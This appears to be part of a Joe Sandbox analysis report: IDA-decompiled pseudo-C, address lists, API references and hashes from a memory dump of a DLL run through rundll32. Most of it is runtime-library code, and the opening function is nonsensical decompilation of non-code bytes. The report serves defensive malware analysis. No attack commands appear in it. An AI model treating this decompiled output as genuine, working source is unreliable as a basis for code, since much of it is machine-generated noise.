				_push(_t616);
				 *__ecx =  *__ecx & _t616;
				 *_t700 =  *_t700 + 0x1c;
				if( *_t700 >= 0) {
					 *_t616 =  *_t616 + _t616;
					_t676 = _t616 + _t616;
					 *__ecx =  *__ecx & _t676;
					 *_t700 =  *_t700 + 0x1c;
					asm("adc [edx], ah");
					 *_t676 =  *_t676 + _t676;
					_t677 = _t676 +  *((intOrPtr*)(_t676 + 0x122));
					asm("lock and al, [ecx]");
					 *_t677 =  *_t677 + 0x1c;
					asm("adc [ebx], ah");
					 *_t677 =  *_t677 + _t677;
					 *_t677 =  *_t677 + _t677;
					_t616 = _t677 &  *__ecx;
					 *_t616 =  *_t616 + 0x1c;
				}
				 *_t679 =  *_t679 & 0x00000001;
				 *_t616 =  *_t616 + _t616;
				 *_t679 =  *_t679 << 1;
				 *_t616 =  *_t616 + _t616;
				 *(_t681 + _t616) =  *(_t681 + _t616) & _t616;
				 *_t616 =  *_t616 + _t616;
				_push(_t616);
				_t617 = _t616 & 0x00000001;
				 *_t700 =  *_t700 + _t617;
				 *0x80000001 =  *0x80000001 & _t617;
				_t619 = _t617 & 0x40000001;
				 *[es:eax] =  *[es:eax] + _t619;
				 *((intOrPtr*)(_t619 + 0x126)) =  *((intOrPtr*)(_t619 + 0x126)) + _t700;
				 *_t738 =  *_t738 & _t619;
				 *_t619 =  *_t619 + _t619;
				 *_t619 =  *_t619 + _t700;
				 *_t681 =  *_t681 - _t619;
				 *_t619 =  *_t619 + _t619;
				 *_t619 =  *_t619 - 1;
				 *_t619 =  *_t619 + _t619;
				 *0x28 =  *0x28 + 0x28;
				 *0x28 =  *0x28 + 0x28;
				 *_t681 =  *_t681 - 0x28;
				 *0x28 =  *0x28 + 0x28;
				 *_t700 =  *_t700 - 1;
				 *_t700 =  *_t700 + 0x28;
				asm("lock sub al, [ecx]");
				 *_t700 =  *_t700 + 0x28;
				 *_t679 =  *_t679 - 1;
				 *_t700 =  *_t700 + 0x28;
				asm("loopne 0x2d");
				 *0x28 =  *0x28 + 0x28;
				_t623 = 0x28 +  *0x28 - 0x20000000;
				 *[cs:eax] =  *[cs:eax] + _t623;
				_t624 = _t623 +  *((intOrPtr*)(_t623 + 0x2f));
				 *_t624 =  *_t624 + _t624;
				 *_t624 =  *_t624 + _t624;
				 *_t624 =  *_t624 + _t624;
				 *0x32 =  *0x32 + 0x32;
				_t704 = _t700 +  *((intOrPtr*)(_t624 + 0x32)) +  *((intOrPtr*)(_t624 + 0x32)) +  *((intOrPtr*)(_t624 + 0x2000132)) + 0x32;
				_t626 = 0x00000032 ^  *_t681;
				 *_t704 =  *_t704 + 0x32;
				asm("lock xor al, [ecx]");
				 *_t704 =  *_t704 + 0x32;
				asm("adc [ebx], dh");
				 *_t626 =  *_t626 + _t626;
				_t705 = _t704 +  *_t626;
				_t627 = _t626 ^  *_t681;
				 *_t705 =  *_t705 + 0x32;
				_push(_t627);
				_t628 = _t627 ^  *_t681;
				 *_t705 =  *_t705 + 0x32;
				if( *_t705 < 0) {
					L9:
					 *_t705 =  *_t705 + _t628;
					 *(_t681 + _t628) =  *(_t681 + _t628) << 1;
					 *_t705 =  *_t705 + _t628;
					asm("lock xor al, 0x1");
					 *_t705 =  *_t705 + _t628;
					asm("adc [0x30020001], dh");
					_t633 = _t628 ^ 0xffffffffd0020001;
				} else {
					 *_t628 =  *_t628 + _t628;
					 *0x33 =  *0x33 + 0x33;
					_t705 = _t705 +  *((intOrPtr*)(_t628 + 0x2000133)) + 0x33;
					_t675 = 0x00000033 ^  *_t681;
					 *_t705 =  *_t705 + 0x33;
					asm("lock xor eax, [ecx]");
					 *_t705 =  *_t705 + 0x33;
					asm("adc [ecx+eax], dh");
					 *_t705 =  *_t705 + 0x33;
					 *(_t681 + _t675) =  *(_t681 + _t675) ^ _t705;
					 *_t705 =  *_t705 + 0x33;
					_push(_t675);
					_t633 = _t675 ^ 0x00000001;
					 *_t705 =  *_t705 + 0x33;
					if( *_t705 >= 0) {
						 *_t633 =  *_t633 + _t633;
						_t705 = _t705 +  *((intOrPtr*)(_t633 + 0x2000134));
						_t628 = 0x34;
						 *0x34 =  *0x34 + 0x34;
						goto L9;
					}
				}
				_t635 = _t633 ^ 0xffffffffe0000000;
				 *[ss:eax] =  *[ss:eax] + _t635;
				 *[ss:eax] =  *[ss:eax] + _t635;
				 *_t635 =  *_t635 + _t635;
				 *_t635 =  *_t635 + _t635;
				 *0x36 =  *0x36 + 0x36;
				 *[ss:eax] =  *[ss:eax] + 0x36;
				 *[ss:eax] =  *[ss:eax] + 0x36;
				asm("aaa");
				 *0x36 =  *0x36 + 0x36;
				_t714 = _t705 + _t633 +  *_t635 +  *((intOrPtr*)(_t635 + 0x36)) +  *((intOrPtr*)(_t635 + 0x36)) +  *((intOrPtr*)(_t635 + 0x2000136)) + 0x6c +  *0x36 +  *0x36;
				asm("aaa");
				 *0x36 =  *0x36 + 0x36;
				 *((intOrPtr*)(0x36 +  *0x0000006D)) =  *((intOrPtr*)(0x36 +  *0x0000006D)) + 0x36 +  *0x0000006D;
				_t639 =  *0x2000137;
				 *_t738 =  *_t738 << 1;
				 *_t714 =  *_t714 + _t639;
				asm("loopne 0x39");
				 *_t639 =  &(_t639[ *_t639]);
				 *_t639 =  *_t639 + _t714;
				 *_t639 =  &(_t639[ *_t639]);
				 *_t639 =  *_t639 >> 1;
				 *_t639 =  &(_t639[ *_t639]);
				asm("loopne 0x3a");
				 *_t639 =  &(_t639[ *_t639]);
				_t639[0x39] =  &(_t639[_t639[0x39]]);
				 *_t639 =  &(_t639[ *_t639]);
				_t639[0x39] = _t639[0x39] + _t714;
				 *_t639 =  &(_t639[ *_t639]);
				_t639[0x3a] =  &(_t639[_t639[0x3a]]);
				 *_t639 =  &(_t639[ *_t639]);
				_t639[0x13b] =  &(_t639[_t639[0x13b]]);
				_t640 =  *0x13b;
				 *_t679 =  *_t679 >> 1;
				 *_t640 =  *_t640 + _t640;
				asm("loopne 0x3d");
				 *_t640 =  *_t640 + _t640;
				 *((intOrPtr*)(_t640 + 0x3c)) =  *((intOrPtr*)(_t640 + 0x3c)) + _t714;
				 *_t640 =  *_t640 + _t640;
				_t641 = _t640 + _t640;
				 *[ds:eax] =  *[ds:eax] + _t641;
				_t642 = _t641 + _t641;
				 *[ds:eax] =  *[ds:eax] + _t642;
				 *_t642 =  *_t642 + _t714;
				asm("aas");
				 *_t642 =  *_t642 + _t642;
				 *_t642 =  *_t642 + _t642;
				asm("aas");
				 *_t642 =  *_t642 + _t642;
				 *((intOrPtr*)(_t642 + 0x3f)) =  *((intOrPtr*)(_t642 + 0x3f)) + _t714;
				 *_t642 =  *_t642 + _t642;
				 *((intOrPtr*)(_t642 + 0x13f)) =  *((intOrPtr*)(_t642 + 0x13f)) + _t642;
				asm("aas");
				 *_t642 =  *_t642 + _t642;
				 *((intOrPtr*)(_t642 + 0x140)) =  *((intOrPtr*)(_t642 + 0x140)) + _t714;
				asm("rol byte [eax+0x1], 1");
				 *_t642 =  *_t642 + _t642;
				asm("pushad");
				 *_t642 =  *_t642 + _t642;
				 *((intOrPtr*)(_t642 + 0x141)) =  *((intOrPtr*)(_t642 + 0x141)) + _t714;
				asm("rol byte [ecx+0x1], 0x0");
				 *((intOrPtr*)(_t642 + 0x142)) =  *((intOrPtr*)(_t642 + 0x142)) + _t642;
				 *0x42 =  *0x42 + 0x42;
				 *0x42 =  *0x42 + _t714;
				_t680 = _t679 + 1;
				 *0x42 =  *0x42 + 0x42;
				 *0x00000086 =  *((intOrPtr*)(0x86)) + 0x42;
				 *0x42 =  *0x42 + 0x42;
				 *((intOrPtr*)(0x86)) =  *((intOrPtr*)(0x86)) + _t714;
				 *0x42 =  *0x42 + 0x42;
				 *0x42 =  *0x42 + 0x42;
				 *0x42 =  *0x42 + 0x42;
				 *0x00000087 =  *((intOrPtr*)(0x87)) + _t714;
				 *0x42 =  *0x42 + 0x42;
				_t644 = 0x42 + _t714;
				 *_t644 =  *_t644 + _t644;
				_t645 = _t644 + _t644;
				 *_t645 =  *_t645 + _t645;
				_t646 = _t645 + _t645;
				 *_t646 =  *_t646 + _t646;
				 *((intOrPtr*)(_t646 + 0x147)) =  *((intOrPtr*)(_t646 + 0x147)) + _t714;
				asm("adc [eax+0x1], cl");
				 *_t646 =  *_t646 + 0x42;
				_push(_t646);
				 *_t646 =  *_t646 + _t646;
				_t647 = _t646 + _t714;
				_t684 = _t681 + 1;
				 *_t647 =  *_t647 + _t647;
				 *_t647 =  *_t647 + _t647;
				_t715 = _t714 - 1;
				 *_t647 =  *_t647 + _t647;
				 *((intOrPtr*)(_t647 + 0x14b)) =  *((intOrPtr*)(_t647 + 0x14b)) + _t647;
				 *((intOrPtr*)(_t684 + _t647)) =  *((intOrPtr*)(_t684 + _t647)) + _t684;
				 *((intOrPtr*)(_t647 + 0x4d)) =  *((intOrPtr*)(_t647 + 0x4d)) + 0x42;
				 *_t647 =  *_t647 + _t647;
				 *_t647 =  *_t647 + _t715;
				_t744 = _t742 + 1 - 1;
				 *_t647 =  *_t647 + _t647;
				 *((intOrPtr*)(_t647 + 0x151)) =  *((intOrPtr*)(_t647 + 0x151)) + 0x42;
				asm("loopne 0x53");
				 *_t647 =  *_t647 + _t647;
				_t648 = _t647 + _t715;
				_push(_t684);
				 *_t648 =  *_t648 + _t648;
				 *_t648 =  *_t648 + 0x42;
				_push(_t715);
				 *_t648 =  *_t648 + _t648;
				 *_t648 =  *_t648 + _t648;
				_push(_t715);
				 *_t648 =  *_t648 + _t648;
				 *_t648 =  *_t648 + _t715;
				_push(_t680);
				 *_t648 =  *_t648 + _t648;
				 *((intOrPtr*)(_t648 + 0x154)) =  *((intOrPtr*)(_t648 + 0x154)) + 0x42;
				asm("pushad");
				_push(_t745 + 3);
				 *_t648 =  *_t648 + _t648;
				 *((intOrPtr*)(_t648 + 0x56)) =  *((intOrPtr*)(_t648 + 0x56)) + _t715;
				 *_t648 =  *_t648 + _t648;
				 *((intOrPtr*)(_t648 + 0x57)) =  *((intOrPtr*)(_t648 + 0x57)) + _t715;
				 *_t648 =  *_t648 + _t648;
				_t649 = _t648 + _t648;
				_pop(_t716);
				 *_t649 =  *_t649 + _t649;
				 *_t649 =  *_t649 + 0x42;
				 *_t649 =  *_t649 + _t649;
				 *_t649 =  *_t649 + 0x42;
				_pop(_t739);
				 *_t649 =  *_t649 + _t649;
				asm("pushad");
				 *_t649 =  *_t649 + _t649;
				_t650 = _t649 + _t649;
				asm("pushad");
				 *_t650 =  *_t650 + _t650;
				_t718 = _t716 +  *_t649 +  *((intOrPtr*)(_t650 + 0x6d));
				 *_t650 =  *_t650 + _t650;
				_t651 = _t650 +  *((intOrPtr*)(_t650 + 0x200016d));
				 *(_t744 + 1) =  *(_t744 + 1) ^ _t684;
				 *_t718 =  *_t718 + 0x42;
				_push(_t651);
				asm("outsb");
				 *_t651 =  *_t651 + _t651;
				_t652 = _t651 +  *((intOrPtr*)(_t651 + 0x6e));
				 *_t652 =  *_t652 + _t652;
				_t719 = _t718 +  *((intOrPtr*)(_t652 + 0x6e));
				 *_t652 =  *_t652 + _t652;
				_t654 =  *0x200016e;
				 *(_t744 + 1) =  *(_t744 + 1) >> 1;
				 *_t719 =  *_t719 + _t654;
				 *(_t739 + 1) =  *(_t739 + 1) + _t684;
				 *_t719 =  *_t719 + _t654;
				 *(_t739 + 1) =  *(_t739 + 1) & _t684;
				 *_t654 =  *_t654 + _t654;
				_t655 = _t654 + 1;
				asm("outsd");
				 *_t655 =  *_t655 + _t655;
				 *_t655 =  *_t655 + _t655;
				_t656 = _t655 +  *((intOrPtr*)(_t655 + 0x200016f));
				 *(_t739 + 1) =  *(_t739 + 1) >> 0;
				asm("outsd");
				 *_t656 =  *_t656 + _t656;
				_t722 = _t719 +  *((intOrPtr*)(_t655 + 0x6f)) + _t656 +  *_t656;
				if(_t722 >= 0) {
					 *_t722 =  *_t722 + _t656;
				}
				_t723 = _t722 +  *((intOrPtr*)(_t656 + 0x70));
				 *_t656 =  *_t656 + _t656;
			}

0x10001556
0x10001556
0x10001556
0x10001556
0x10001559
0x1000155a
0x1000155f
0x10001561
0x10001566
0x10001569
0x1000156b
0x1000156d
0x1000156f
0x10001572
0x10001574
0x1000157a
0x1000157c
0x1000157e
0x10001580
0x10001581
0x10001583
0x10001586
0x10001588
0x1000158a
0x1000158b
0x1000158d
0x1000158f
0x10001590
0x1000159a
0x1000159c
0x1000159f
0x100015a1
0x100015a4
0x100015a6
0x100015ae
0x100015b0
0x100015b8
0x100015bc
0x100015bd
0x100015c2
0x100015c6
0x100015c7
0x100015c9
0x100015cb
0x100015cd
0x100015cf
0x100015d0
0x100015d2
0x100015d2
0x100015d4
0x100015d4
0x100015d6
0x100015de
0x100015e0
0x100015e2
0x100015e4
0x100015e6
0x100015e8
0x100015e9
0x100015eb
0x100015ed
0x100015ee
0x100015f0
0x100015f5
0x100015f7
0x100015fc
0x100015fe
0x10001600
0x10001602
0x10001604
0x10001606
0x10001609
0x1000160b
0x1000160e
0x10001610
0x10001613
0x10001616
0x10001617
0x10001619
0x1000161b
0x1000161d
0x1000161f
0x10001621
0x10001623
0x10001625
0x10001627
0x10001629
0x1000162b
0x1000162d
0x1000162f
0x10001631
0x10001633
0x10001635
0x10001639
0x1000163b
0x1000163d
0x1000163f
0x10001641
0x10001644
0x10001646
0x10001649
0x1000164b
0x10001651
0x10001652
0x10001654
0x10001657
0x10001659
0x10001662
0x10001666
0x10001668
0x1000166a
0x10001670
0x10001675
0x1000167a
0x10001680
0x10001682
0x10001685
0x1000168a
0x1000168c
0x1000168f
0x10001691
0x10001697
0x1000169a
0x1000169c
0x1000169e
0x100016a0
0x100016a2
0x100016a3
0x100016a8
0x100016aa
0x100016b0
0x100016b2
0x100016b6
0x100016b7
0x100016b9
0x100016bb
0x100016bd
0x100016bf
0x100016c0
0x100016c2
0x100016c4
0x100016c6
0x100016c8
0x100016ca
0x100016cc
0x100016ce
0x100016d0
0x100016d2
0x100016d8
0x100016db
0x100016dd
0x100016df
0x100016e1
0x100016e3
0x100016e5
0x100016e5
0x100016e7
0x100016ea
0x100016ec
0x100016ef
0x100016f1
0x100016f4
0x100016f6
0x100016f7
0x100016f9
0x100016fb
0x10001706
0x1000170b
0x1000170e
0x10001714
0x10001716
0x10001718
0x1000171a
0x1000171c
0x1000171e
0x10001721
0x10001725
0x10001727
0x10001729
0x1000172b
0x1000172d
0x10001730
0x10001732
0x10001735
0x10001737
0x1000173a
0x1000173c
0x1000173e
0x10001747
0x1000174c
0x1000174f
0x10001752
0x10001757
0x1000175c
0x10001766
0x10001768
0x1000176a
0x1000176c
0x1000176e
0x10001771
0x10001773
0x10001775
0x10001777
0x10001779
0x1000177b
0x1000177d
0x1000177e
0x10001780
0x10001782
0x100017b7
0x100017b7
0x100017b9
0x100017bc
0x100017be
0x100017c1
0x100017c3
0x100017dd
0x10001784
0x10001784
0x1000178e
0x10001790
0x10001792
0x10001794
0x10001796
0x10001799
0x1000179b
0x1000179e
0x100017a0
0x100017a3
0x100017a5
0x100017a6
0x100017a8
0x100017aa
0x100017ac
0x100017ae
0x100017b4
0x100017b6
0x00000000
0x100017b6
0x100017aa
0x100017e7
0x100017ec
0x100017f1
0x100017f7
0x100017fc
0x10001806
0x1000180a
0x1000180f
0x10001814
0x10001815
0x10001817
0x10001819
0x1000181a
0x1000181f
0x10001827
0x1000182c
0x1000182f
0x10001831
0x10001833
0x10001835
0x10001839
0x1000183b
0x1000183e
0x10001840
0x10001842
0x10001844
0x10001847
0x10001849
0x1000184c
0x1000184e
0x10001851
0x10001853
0x10001859
0x1000185e
0x10001861
0x10001863
0x10001865
0x10001867
0x1000186a
0x1000186c
0x10001873
0x10001876
0x10001878
0x1000187b
0x1000187d
0x1000187e
0x10001880
0x10001882
0x10001883
0x10001885
0x10001888
0x1000188a
0x10001891
0x10001892
0x10001894
0x1000189a
0x1000189d
0x1000189f
0x100018a1
0x100018a3
0x100018a9
0x100018ad
0x100018b5
0x100018b7
0x100018b9
0x100018ba
0x100018bc
0x100018bf
0x100018c1
0x100018c4
0x100018c6
0x100018c9
0x100018cb
0x100018ce
0x100018d0
0x100018d3
0x100018d5
0x100018d8
0x100018da
0x100018dd
0x100018df
0x100018e5
0x100018e8
0x100018ea
0x100018ec
0x100018ee
0x100018f0
0x100018f1
0x100018f3
0x100018f5
0x100018f6
0x100018f8
0x100018fe
0x10001902
0x10001905
0x10001907
0x10001909
0x1000190a
0x1000190c
0x10001912
0x10001914
0x10001916
0x10001918
0x10001919
0x1000191b
0x1000191d
0x1000191e
0x10001920
0x10001922
0x10001923
0x10001925
0x10001927
0x10001928
0x1000192a
0x10001930
0x10001931
0x10001932
0x10001934
0x10001937
0x10001939
0x1000193c
0x1000193e
0x10001940
0x10001941
0x10001943
0x10001946
0x10001948
0x1000194a
0x1000194b
0x1000194f
0x10001950
0x10001952
0x10001954
0x10001955
0x10001957
0x1000195a
0x1000195c
0x10001962
0x10001965
0x10001967
0x10001968
0x10001969
0x1000196b
0x1000196e
0x10001970
0x10001973
0x1000197b
0x10001980
0x10001983
0x10001985
0x10001988
0x1000198a
0x1000198d
0x1000198f
0x10001990
0x10001991
0x10001996
0x10001998
0x1000199e
0x100019a4
0x100019a5
0x100019a7
0x100019a9
0x100019ab
0x100019ab
0x100019ac
0x100019af

Memory Dump Source

Source File: 00000003.00000002.392372880.0000000010001000.00000020.00000001.01000000.00000003.sdmp, Offset: 10000000, based on PE: true

Associated: 00000003.00000002.392367550.0000000010000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.392434593.0000000010033000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.392439449.0000000010034000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.392446015.0000000010036000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_10000000_rundll32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e205d5dad1b419509d32d34bf35fe02130ecc07f9099dc42c27f8f4c021ecde3
Instruction ID: 0c327365471f1c6f438921d0d756311f5146ff8216e2787a9d803f85df43ece8
Opcode Fuzzy Hash: e205d5dad1b419509d32d34bf35fe02130ecc07f9099dc42c27f8f4c021ecde3
Instruction Fuzzy Hash: BA42626548E3C24FD3838BB048A56D07FF19F53264B4A45EAC4858F4A3E19E4D9BDB22

Uniqueness

Uniqueness Score: -1.00%

Function 10017DF9 Relevance: .0, Instructions: 17COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.392372880.0000000010001000.00000020.00000001.01000000.00000003.sdmp, Offset: 10000000, based on PE: true

Associated: 00000003.00000002.392367550.0000000010000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.392434593.0000000010033000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.392439449.0000000010034000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.392446015.0000000010036000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_10000000_rundll32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3942feeac2481b1102579325a83dda34f1c96ea82b48871a2e2c9e64a55916a3
Instruction ID: 381772ba0b8a7cced33f09e6f3191544db57a4ebb05b992e33f859e554588831
Opcode Fuzzy Hash: 3942feeac2481b1102579325a83dda34f1c96ea82b48871a2e2c9e64a55916a3
Instruction Fuzzy Hash: 82E0BD34A18509CFC768DB99C484A4CB7F4FB0D210B208091E808AF320D334ED80AB40

Uniqueness

Uniqueness Score: -1.00%

Function 1000D120 Relevance: 22.9, APIs: 11, Strings: 2, Instructions: 129
COMMON

Download Yara Rule

C-Code - Quality: 61%

			E1000D120(void* __ebx, void* __ecx, void* __edx, void* __edi) {
				void* _t68;
				signed int _t72;
				intOrPtr _t77;
				void* _t78;
				intOrPtr* _t98;
				intOrPtr* _t101;
				void* _t102;
				intOrPtr _t112;
				intOrPtr _t113;
				void* _t115;
				intOrPtr _t117;
				void* _t127;

				_t118 = __edi;
				_t115 = __edx;
				E10028DCC(E1002A74E, __ebx, __ecx, __edi, 0x38);
				_t62 =  *((intOrPtr*)(_t127 + 8));
				if( *((intOrPtr*)(_t127 + 8)) == 0) {
					_t100 = _t127 - 0x44;
					E10007CBB(_t127 - 0x44, "pAgent");
					_push(0x1002c0fc);
					_push(_t127 - 0x44);
					L10029E92();
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					E10028DCC(E1002A79C, __ebx, _t100, __edi, 0x344);
					_t101 =  *((intOrPtr*)(_t127 + 0xc));
					_t98 =  *((intOrPtr*)(_t127 + 0x10));
					 *((intOrPtr*)(_t127 - 0x330)) = _t101;
					__eflags = _t101;
					if(_t101 == 0) {
						_t102 = _t127 - 0x33c;
						E10007CBB(_t102, "pAgents");
						_push(0x1002c0fc);
						_t68 = _t127 - 0x33c;
						goto L14;
					} else {
						_t72 = 0;
						__eflags =  *((intOrPtr*)(_t127 + 8));
						if(__eflags <= 0) {
							L7:
							E100076E5(_t98, _t127 - 0x1d8, _t115, _t118, __eflags);
							 *(_t127 - 4) = 0;
							 *((intOrPtr*)(_t127 - 0x33c)) = _t127 - 0x32c;
							_t121 = _t127 - 0x34;
							 *((intOrPtr*)(_t127 - 0x32c)) = 0;
							 *((intOrPtr*)(_t127 - 0x338)) = _t127 + 8;
							 *((intOrPtr*)(_t127 - 0x38)) = 0x10002824;
							 *((intOrPtr*)(_t127 - 0x334)) = _t127 - 0x1d8;
							_t77 = _t127 - 0x38;
							asm("movsd");
							asm("movsd");
							asm("movsd");
							 *((intOrPtr*)(_t127 - 0x14)) = _t77;
							_push(_t77);
							 *(_t127 - 4) = 1;
							_t78 = E10007421(_t98, _t127 - 0x328, _t115, _t127 - 0x34, __eflags);
							 *(_t127 - 4) = 3;
							E1000A376(_t78, _t127 - 0x38);
							_push(_t127 - 0x328);
							_push( *((intOrPtr*)(_t127 - 0x330)));
							_push( *((intOrPtr*)(_t127 + 8)));
							E100071E2(_t98, _t127 - 0x344, _t127 - 0x34, __eflags);
							_push(0);
							_push( *((intOrPtr*)(_t127 + 0x14)));
							 *(_t127 - 4) = 4;
							_push(_t127 - 0x1d8);
							E10006F00(_t98, _t127 - 0x344, _t127 - 0x34);
							__eflags = _t98;
							if(_t98 != 0) {
								_t112 =  *((intOrPtr*)(_t127 + 8));
								__eflags = _t112;
								if(_t112 != 0) {
									_t117 =  *((intOrPtr*)(_t127 - 0x340)) - _t98;
									__eflags = _t117;
									do {
										 *_t98 =  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t117 + _t98)) + 0x170)) + 8));
										_t98 = _t98 + 4;
										_t112 = _t112 - 1;
										__eflags = _t112;
									} while (_t112 != 0);
								}
							}
							E10007EAD();
							E100080E4(_t127 - 0x328);
							return E10028D76(E1000861B(_t127 - 0x1d8), _t98, _t121);
						} else {
							while(1) {
								__eflags =  *((intOrPtr*)(_t101 + _t72 * 4));
								if( *((intOrPtr*)(_t101 + _t72 * 4)) == 0) {
									break;
								}
								_t72 = _t72 + 1;
								__eflags = _t72 -  *((intOrPtr*)(_t127 + 8));
								if(__eflags < 0) {
									continue;
								} else {
									goto L7;
								}
								goto L16;
							}
							_t102 = _t127 - 0x350;
							E10007CBB(_t102, "pAgents");
							_push(0x1002c0fc);
							_t68 = _t127 - 0x350;
							L14:
							L10029E92();
							asm("int3");
							 *((char*)(_t102 + 0x58)) = 1;
							 *0x10036224(_t118, 0, _t68);
							return  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t102 + 0x60)) + 8))))();
						}
					}
				} else {
					_t113 = _t127 - 0x38;
					 *((intOrPtr*)(_t127 - 0x38)) = 0x10002808;
					 *((intOrPtr*)(_t127 - 0x34)) = E10009D80;
					 *((intOrPtr*)(_t127 - 0x14)) = _t113;
					 *(_t127 - 4) =  *(_t127 - 4) & 0x00000000;
					_push(_t113);
					_push( *((intOrPtr*)(_t127 + 0xc)));
					E1000A376(E10006F9A(__ebx, _t113, __edi), _t127 - 0x38);
					return E10028D76(_t93, __ebx, __edi, _t62 + 8);
				}
				L16:
			}

0x1000d120
0x1000d120
0x1000d127
0x1000d12c
0x1000d131
0x1000d172
0x1000d175
0x1000d17a
0x1000d182
0x1000d183
0x1000d188
0x1000d189
0x1000d18a
0x1000d18b
0x1000d18c
0x1000d18d
0x1000d18e
0x1000d18f
0x1000d19a
0x1000d19f
0x1000d1a2
0x1000d1a5
0x1000d1ab
0x1000d1ad
0x1000d2da
0x1000d2e0
0x1000d2e5
0x1000d2ea
0x00000000
0x1000d1b3
0x1000d1b5
0x1000d1b7
0x1000d1ba
0x1000d1cb
0x1000d1d1
0x1000d1dc
0x1000d1df
0x1000d1e5
0x1000d1eb
0x1000d1f1
0x1000d203
0x1000d20a
0x1000d210
0x1000d213
0x1000d214
0x1000d215
0x1000d216
0x1000d219
0x1000d220
0x1000d224
0x1000d22c
0x1000d230
0x1000d23b
0x1000d23c
0x1000d248
0x1000d24b
0x1000d250
0x1000d252
0x1000d25b
0x1000d25f
0x1000d260
0x1000d268
0x1000d26a
0x1000d26c
0x1000d26f
0x1000d271
0x1000d279
0x1000d279
0x1000d27b
0x1000d287
0x1000d289
0x1000d28c
0x1000d28c
0x1000d28c
0x1000d27b
0x1000d271
0x1000d297
0x1000d2a2
0x1000d2b7
0x1000d1bc
0x1000d1bc
0x1000d1bc
0x1000d1bf
0x00000000
0x00000000
0x1000d1c5
0x1000d1c6
0x1000d1c9
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x1000d1c9
0x1000d2bd
0x1000d2c3
0x1000d2c8
0x1000d2cd
0x1000d2f0
0x1000d2f1
0x1000d2f6
0x1000d2fc
0x1000d307
0x1000d313
0x1000d313
0x1000d1ba
0x1000d133
0x1000d133
0x1000d136
0x1000d13d
0x1000d144
0x1000d147
0x1000d14e
0x1000d14f
0x1000d160
0x1000d16c
0x1000d16c
0x00000000

APIs

__EH_prolog3_GS.LIBCMT ref: 1000D127
_Receive_impl.LIBCPMT ref: 1000D153

Part of subcall function 10006F9A: __EH_prolog3.LIBCMT ref: 10006FA4
Part of subcall function 10006F9A: _Receive_impl.LIBCONCRT ref: 10006FBE
Part of subcall function 10006F9A: _Receive_impl.LIBCONCRT ref: 10007027

_Func_class.LIBCONCRT ref: 1000D160
std::invalid_argument::invalid_argument.LIBCONCRT ref: 1000D175
__EH_prolog3_GS.LIBCMT ref: 1000D19A
single_assignment.LIBCONCRT ref: 1000D1D1
_Func_class.LIBCONCRT ref: 1000D230
_Receive_impl.LIBCPMT ref: 1000D260
~single_assignment.LIBCONCRT ref: 1000D2AD

Strings

pAgents, xrefs: 1000D2B8, 1000D2D5
pAgent, xrefs: 1000D16D

Memory Dump Source

Source File: 00000003.00000002.392372880.0000000010001000.00000020.00000001.01000000.00000003.sdmp, Offset: 10000000, based on PE: true

Associated: 00000003.00000002.392367550.0000000010000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.392434593.0000000010033000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.392439449.0000000010034000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.392446015.0000000010036000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_10000000_rundll32.jbxd

Similarity

API ID: Receive_impl$Func_classH_prolog3_$H_prolog3single_assignmentstd::invalid_argument::invalid_argument~single_assignment
String ID: pAgent$pAgents
API String ID: 2123431478-4132120631
Opcode ID: 42e49deee86179ec16b637e53175b650ab73028a262524b157715ed249481a3c
Instruction ID: 4fdba58257626deefebc549f9e8516c23c69dc7f45b54a4e58fd2ba48d5f0f71
Opcode Fuzzy Hash: 42e49deee86179ec16b637e53175b650ab73028a262524b157715ed249481a3c
Instruction Fuzzy Hash: 70514B78901219ABEF16DF60DD91ADDB7B9EF14380F8040AAF80967245DB34AB89CF50

Uniqueness

Uniqueness Score: -1.00%

Function 1000B610 Relevance: 21.3, APIs: 10, Strings: 2, Instructions: 303
COMMON

Download Yara Rule

C-Code - Quality: 28%

			E1000B610(void* __ecx, intOrPtr _a4, intOrPtr _a8) {
				intOrPtr _v0;
				intOrPtr _v8;
				void* _v16;
				intOrPtr _v20;
				void* _v24;
				char _v28;
				char _v36;
				char _v37;
				char _v40;
				char _v52;
				char _v68;
				intOrPtr _v84;
				intOrPtr _v120;
				char _v173;
				char _v204;
				void* __ebx;
				void* __edi;
				void* __ebp;
				char* _t71;
				char* _t73;
				char* _t78;
				intOrPtr _t87;
				void* _t94;
				intOrPtr* _t99;
				void* _t105;
				void* _t111;
				void* _t118;
				intOrPtr _t124;
				char _t125;
				intOrPtr _t126;
				intOrPtr* _t127;
				intOrPtr _t128;
				char* _t131;
				intOrPtr* _t132;
				char* _t133;
				intOrPtr* _t134;
				void* _t154;
				void* _t156;
				char* _t157;
				intOrPtr* _t158;
				char* _t159;
				intOrPtr* _t167;
				void* _t180;
				void* _t181;
				void* _t182;
				void* _t184;
				void* _t185;
				void* _t186;

				_t124 = _a4;
				_t156 = __ecx;
				if(_t124 == 0) {
					_t131 =  &_v16;
					E10007CBB(_t131, "_PMessage");
					_push(0x1002c0fc);
					_t71 =  &_v16;
					goto L10;
				} else {
					if(_a8 != 0) {
						if( *((char*)(__ecx + 0x58)) != 0) {
							L7:
							_t118 = 1;
						} else {
							_t151 =  *((intOrPtr*)(__ecx + 0x54));
